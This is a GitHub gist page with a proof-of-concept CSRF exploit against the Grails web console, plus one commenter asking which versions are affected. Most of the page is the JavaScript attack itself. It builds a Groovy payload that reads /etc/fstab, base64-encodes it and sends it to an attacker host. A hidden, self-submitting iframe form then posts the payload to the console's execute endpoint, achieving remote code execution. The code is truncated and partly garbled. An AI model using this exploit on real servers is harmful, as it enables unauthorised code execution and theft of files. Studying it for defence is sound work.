Skip to content

Instantly share code, notes, and snippets.



Created Aug 8, 2016
What would you like to do?
Grails console CSRF proof of concept
consoleUrl = ''
attackerHost = 'http://localhost:7979/'
code = `new URL('${attackerHost}'+new File('/etc/fstab').bytes.encodeBase64()).getText()`
code = `evaluate new String('${btoa(code)}'.decodeBase64())` // optional, useful to transmit the payload as a GET argument
function newFrame(content){
let frame = document.createElement('iframe')
frame.srcdoc = content = 'visibility:hidden'
rce = `
<body onload="document.getElementById('do_submit').click()">
<form id="f1" method="GET" action="${consoleUrl}/execute">
<input name="autoImportDomains" value="true">
<input name="code" value="${code}">
<input type="submit" id="do_submit">

This comment has been minimized.

Copy link

@attritionorg attritionorg commented Aug 9, 2016

What version of Grails does this affect?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment